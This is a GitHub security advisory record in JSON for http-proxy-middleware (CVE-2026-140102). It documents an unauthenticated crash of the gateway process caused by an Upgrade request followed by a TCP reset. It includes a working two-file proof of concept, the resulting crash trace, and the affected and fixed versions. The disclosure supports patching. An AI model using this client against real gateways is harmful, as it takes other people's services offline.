{"id":"GHSA-hvp5-3mrg-q5hg","summary":"http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)","details":"### Proof of concept\n\n1. run `gateway.js`\n```js\nimport http from \"http\";\nimport { createProxyMiddleware } from \"http-proxy-middleware\";\n\nconst neverTrigger = () =\u003e console.log(\"neverTrigger\");\n\nconst proxy = createProxyMiddleware({\n  target: \"http://example.com\",\n  pathFilter: \"/ws\",\n  ws: true,\n  on: { error: neverTrigger }\n});\nconst server = http.createServer((req, res) =\u003e proxy(\n  req,\n  res,\n  () =\u003e res.writeHead(404).end()\n));\nserver.on(\"upgrade\", proxy.upgrade);\nserver.on(\"error\", neverTrigger);\nserver.on(\"clientError\", neverTrigger);\nserver.listen(5056, \"127.0.0.1\");\n```\n2. run `client.js`\n```js\nimport net from \"net\";\n\nconst socket = net.connect(5056, \"127.0.0.1\", () =\u003e {\n  socket.write(\"GET / HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nConnection: Upgrade\\r\\nUpgrade: websocket\\r\\n\\r\\n\");\n  setTimeout(() =\u003e socket.resetAndDestroy(), 100);\n});\n```\n3. gateway process crash\n```\nnode:events:505\n    throw er; // Unhandled 'error' event\n    ^\n\nError: read ECONNRESET\n    at TCP.onStreamRead (node:internal/stream_base_commons:221:20)\nEmitted 'error' event on Socket instance at:\n    at emitErrorNT (node:internal/streams/destroy:170:8)\n    at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n    at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {\n  errno: -54,\n  code: 'ECONNRESET',\n  syscall: 'read'\n}\n\nNode.js v24.22.3\n```\n\n### Impact\n\nA remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even when `on.error` and the server's `error` and `clientError` events are all handled.","aliases":["CVE-2026-140102"],"modified":"2026-12-01T19:00:04.196293319Z","published":"2026-12-01T18:41:09Z","database_specific":{"cwe_ids":["CWE-248"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-01T18:41:09Z","nvd_published_at":"2026-11-30T23:17:24Z"},"references":[{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-hvp5-3mrg-q5hg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140102"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/pull/1328"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/pull/1329"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/pull/1330"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/commit/386bed662facba30c5602ca211a5399f09cdd715"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/commit/6911b4daefaa138767d4e4c35302b6dea2e2b64a"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/commit/c82e123f831bae1f46d1d06d9c035e385771b7b9"},{"type":"PACKAGE","url":"https://github.com/chimurai/http-proxy-middleware"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.12"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.11"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.2.2"}],"affected":[{"package":{"name":"http-proxy-middleware","ecosystem":"npm","purl":"pkg:npm/http-proxy-middleware"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.8.0"},{"fixed":"2.0.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-hvp5-3mrg-q5hg/GHSA-hvp5-3mrg-q5hg.json"}},{"package":{"name":"http-proxy-middleware","ecosystem":"npm","purl":"pkg:npm/http-proxy-middleware"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0-beta.0"},{"fixed":"3.0.11"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-hvp5-3mrg-q5hg/GHSA-hvp5-3mrg-q5hg.json"}},{"package":{"name":"http-proxy-middleware","ecosystem":"npm","purl":"pkg:npm/http-proxy-middleware"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0-beta.0"},{"fixed":"4.2.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-hvp5-3mrg-q5hg/GHSA-hvp5-3mrg-q5hg.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}